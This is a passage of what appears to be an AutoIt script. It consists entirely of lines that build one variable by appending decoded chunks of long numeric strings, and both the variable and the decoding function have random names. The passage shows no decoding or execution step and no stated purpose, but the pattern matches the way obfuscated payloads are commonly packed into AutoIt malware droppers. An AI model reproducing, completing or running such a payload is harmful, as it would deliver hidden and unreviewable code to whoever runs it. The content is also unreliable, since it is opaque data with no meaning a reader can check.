$LMASCGP &= BTBXJYMRFGAETPA ("6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,55,56,5,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,60,56,54,56,5,56,57,56,57,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,56,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,54,57,58,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,55,56,54,57,57,56,57,56,57,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,60,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("60,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,53,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,58,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,55,57,54,57,54,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,55,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,56,56,54,57,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,56,57,57,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,57,56,53,56,57,56,55,57,57,56,54,56,59,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,53,56,54,56,54,56,59,56,53,56,60,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,5,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,54,57,58,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,55,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,57,56,57,56,57,56,58,56,58,57,55,57,57,56,53,56,6,56,55,56,58,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,56,56,54,57,57,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,53,56,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,57,56,54,56,55,56,53,56,58,56,57,56,57,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,55,57,57,56,56,57,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,56,57,57,56,53,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,56,56,55,57,55,56,60,56,57,56,57,56,57,56,58,56,58,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,56,56,55,57,55,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,55,56,54,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,5" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,53,56,55,56,54,56,55,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,55,56,54,57,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,56,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,56,56,55,56,5,56,60,56,54,57,56,56,54,56,55,56,54,57,56,56,54,56,57,56,54,56,54,57,57,56,53,56,56,56,55,56,5,56,56,56,53,56,60,56,53,56,5,56,6,56,6,56,56,56,55,56,5,56,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,59,56,54,56,57,56,53,56,59,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,55,56,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("5,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,57,57,54,57,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,56,53,56,56,56,56,56,57,56,53,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,56,56,6,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,57,56,54,56,6,56,60,56,60,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,59,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,6,56,56,56,56,56,54,56,59,56,53,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,60,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,56,54" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,54,56,54,56,55,56,56,57,58,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,5,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,53,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,6,56,54,56,59,56,53,56,57,56,54,56,6,56,6,56,6,56,6,56,55,56,6,56,60,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,53,56,60,56,53,56,56,56,6,56,6,56,6,56,55,57,56,56,56,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,56,56,54,56,55,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,57,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,53,56,56,56,53,56,58,56,54,57,54,56,53,56,5,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,58,56,54,56,55,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,53,56,5,56,53,56,60,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,58,56,54,56,55,56,54,57,57,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,54,57,55,56,53,56,56,57,57,56,53,56,6,56,55,57,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,6,56,53,56,56,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,56,56,55,57,59,56,6,56,56,57,57,56,54,57,54,56,54,56,59,56,54,56,56,57,57,56,53,56,56,56,55,57,59,57,57,56,56,57,57,56,54,56,5,56,54,56,58,56,53,56,58,57,57,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,57,58,56,60,56,54,56,59,56,53,56,58,56,53,56,5,56,56,56,59,56,6,56,6,56,56,56,55,57,58,56,56,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,53,56,54,56,55,56,53,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,56,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,56,56,59,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,55,56,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,55,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,55,57,57,56,54,56,59,56,54,56,56,56,53,56,54,56,54,56,59,57,57,56,53,56,56,56,55,57,54,56,60,56,53,56,60,56,54,56,5,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,54,56,56,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,56,6,56,6,56,56,56,55,57,54,56,6,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,55,56,54,57,55,56,55,56,53,56,6,56,6,56,6,56,55,56,57,56,60,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,56,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,56,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,57,55,56,60,57,54,56,5,57,54,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,56,53,56,56,56,55,56,54,56,54,56,5,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,53,56,55,56,54,56,59,56,54,57,57,57,57,56,53,56,6,56,55,57,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,54,57,56,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,55,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,57,55,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,56,56,54,56,53,56,58,56,54,56,55,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,53,56,57,56,54,57,54,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,53,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,55,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,55,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,54,57,54,56,56,57,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,56,56,54,57,54,56,53,56,58,56,54,56,54,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,56,56,54,56,5,56,54,57,55,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,53,56,56,56,54,56,55,56,55,56,60,57,57,56,53,56,6,56,55,56,59,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,53,56,53,56,58,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,55,56,55,56,54,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,58,56,53,56,56,56,53,56,55,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,57,56,56,57,56,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,59,57,54,57,54,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,54,57,56,56,54,57,54,56,53,56,58,56,53,56,5,56,6,56,6,56,6,56,55,56,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,59,56,53,56,60,56,55,56,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,56,55,56,53,56,53,56,56,57,54,57,57,56,53,56,6,56,55,56,53" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,54,56,55,56,57,56,54,56,55,56,54,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,53,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,58,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,55,56,54,57,56,56,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6,56,6,56,6,56,55,56,54,57,55,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,57,55,56,53,56,56,56,56,56,53,56,54,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,56,56,57,56,54,57,54,56,54,57,55,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,56,56,54,56,6,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,56,56,6" )
$LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,6,56,55,56,56,56,54,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,56,56,54,56,59,57,57,56,53,56,6,56,55,56,58,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,60,56,55,56,54,56,54,56,5,56,54,56,55,57,57,56,53,56,6,56,55,56,58,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,53,56,56,57,54,56,54,56,54,56,55,56,57,57,57,56,53,56,6,56,55,56,58,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56" )
